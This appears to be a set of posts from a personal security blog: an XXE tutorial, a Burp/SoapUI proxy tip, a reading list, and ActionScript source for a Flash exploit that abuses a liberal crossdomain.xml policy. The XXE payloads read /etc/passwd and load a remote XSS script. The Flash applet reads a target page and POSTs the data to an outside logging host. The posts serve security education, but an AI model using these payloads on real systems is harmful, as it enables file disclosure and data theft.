XML External Entity attack (XXE) in a Nutshell

The XXE attack has been around for a few years, but hasn’t gotten much attention until the last couple of years with some high-profile cases in Facebook and PayPal.

So, what is the XML External Entity attack? XXE is an abbreviation for XML External Entity. It is a part of the XML spec that allows a document to have entities that resolve to someplace external (not within the same document).

Some basic examples demonstrate the concept describe it best. For example, let’s say that we have a web app that takes as input an xml file and displays it in a table.

Example 1

Here’s a sample input file-

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8"?>
  <contacts>
    <contact>
      <login>bobw</login>
      <name>Bob Walker</name>
      <email>bob@bob.com</email>
    </contact>
    <contact>
      <login>ajones</login>
      <name>Alice Jones</name>
      <email>alice@alice.com</email>
    </contact>
</contacts>

This is processed and displays the following-

loginnameemail
bobwBob Walkerbob@bob.com
ajonesAlice Jonesalice@alice.com

Pretty Straightforward, right?


Example 2

Now, let’s take the same example and add an entity-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY foo "Foo">
]>
  <contacts>
    <contact>
      <login>&foo;</login>
      <name>Bob Walker</name>
      <email>bob@bob.com</email>
    </contact>
    <contact>
      <login>ajones</login>
      <name>Alice Jones</name>
      <email>alice@alice.com</email>
    </contact>
</contacts>

This processes and displays-

loginnameemail
FooBob Walkerbob@bob.com
ajonesAlice Jonesalice@alice.com

What happened? On line 3 of the xml file we created an entity called foo which is the string, “Foo”. We then use that entity, &foo, in place of Bob’s username on line 7. While processing the document the parser substituted “Foo” when it saw &foo;.


Example 3

Now let’s do something really interesting. Consider the following-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY foo SYSTEM "file:///etc/passwd">
]>
  <contacts>
    <contact>
      <login>&foo;</login>
      <name>Bob Walker</name>
      <email>bob@bob.com</email>
    </contact>
    <contact>
      <login>ajones</login>
      <name>Alice Jones</name>
      <email>alice@alice.com</email>
    </contact>
</contacts>

This processes and displays-

loginnameemail
root:x:0:0:root:/root:/bin/bash <redacted>Bob Walkerbob@bob.com
ajonesAlice Jonesalice@alice.com

What did it do? On line 3, the keyword SYSTEM means that this entity reference is external to the document. In this case, the external entity references /etc/passwd on the system that is processing the xml. This causes the contents of /etc/passwd to be pulled into the document and then displayed.


Example 4

Up to this point, the attacks have been against the server. How can we attack the user?
Consider this-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY foo SYSTEM "http://www.bitbucket.me/log/xss.php">
]>
  <contacts>
    <contact>
      <login>&foo;</login>
      <name>Bob Walker</name>
      <email>bob@bob.com</email>
    </contact>
    <contact>
      <login>ajones</login>
      <name>Alice Jones</name>
      <email>alice@alice.com</email>
    </contact>
</contacts>

What do you think the external entity reference does here? It returns <script>alert(‘xss’)</script>. When the table displays that script is executed in the browser. (I’m not displaying the results like in previous examples because it would execute while you are reading this and it’s just an example showing that it’s vulnerable.).

I hope these examples give you a basic understanding of what the XXE vulnerability is. I’ll likely do a follow-up post with more advanced examples soon and how to mitigate it soon.

Posted in Security | Leave a comment

javax.net.ssl.SSLPeerUnverifiedException when proxying SoapUI through Burp

Ever try to proxy SoapUI through Burp when accessing an endpoint over ssl and get this error?

SSL Error in SOAPUI

Here’s how to fix-

First, in your SoapUI script(s), change the protocol of all of the endpoints from https to http.

Then go to the Proxy Listeners section in Burp and edit your current proxy.
Proxy Listeners Settings in Burp

Then go to the Request Handling Settings and select Force use of SSL
Request Handling Settings in Burp

This basically achieves several things.  It removes the untrusted cert error that SoapUI gives because the Burp SSL proxy cert doesn’t match the endpoint, isn’t a trusted cert, or isn’t in the Java keystore. It also allows you to view all of the traffic in Burp easily. Just remember that the Force use of SSL setting in Burp for the proxy forces all traffic through through the proxy to go over ssl, so be sure to change it back when finished.

Posted in Security | Leave a comment

Ruby and Security Presentation

ruby

So, a couple of weeks ago I presented to the Indy OWASP Chapter about a topic near and dear to my heart- ruby and security. I really had a great time creating and giving the presentation and hope to expand it for a future talk.

Posted in Ruby, Security | Leave a comment

Recommended Security Reading List Link

Those of you that know me know that books are my vice. I have a ton of books. I have them at my house, in my car, at my office, etc. I have paperbacks, hardbacks, and e-books. I’ve recently started bringing in a few to work each day in order to reduce clutter at my house.

Anyway…

I stumbled across this reading list -> http://dfir.org/?q=node/8 which is a great list by @attrc that breaks down books by subject and skill level. If you are looking for good books on security, this is definitely something to check out. And if you live near me, ping me and I most likely have them if you would like to borrow. 🙂

Posted in Security | Leave a comment

Liberal Crossdomain.xml Example- Part 2

As a followup to Liberal Crossdomain.xml Exploit Example – Part 1, this is the source for the Flash app.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLLoader;
 
 public class flasher extends Sprite {
  public function flasher() {
   // Target URL from where the data is to be retrieved
   var readFrom:String = "http://rubysecurity.info/login/info.php";
   var readRequest:URLRequest = new URLRequest(readFrom);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   try 
   {
    getLoader.load(readRequest);
   } 
   catch (error:Error) 
   {
   }
  }
 
  private function eventHandler(event:Event):void 
  { 
   // URL to which retrieved data is to be sent
   var sendTo:String = "http://injectionvector.com/flasher/log.php"
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST;
   sendRequest.data = event.target.data;
   var sendLoader:URLLoader = new URLLoader();
   try 
   {
    sendLoader.load(sendRequest);
   } 
   catch (error:Error) 
   {
   }
  }
 }
}

It’s really a fairly simple Flash applet. The class is called flasher and extends Sprite. Sprite is a base class for UI components that don’t use the timeline. In the constructor it creates a URLRequest object to data from the location specified in the readFrom variable via a URLLoader object. It then sets an event handler, called eventhandler, that is called when that read is done. When the read is done, it then basically does the same thing, but posts to the variable specified in sendTo and sets the body of the request to be the data received from the first step.

Note: This is based off an example that I found, but have misplaced. Once found, I will update the post to reference it.

Posted in Security | 1 Comment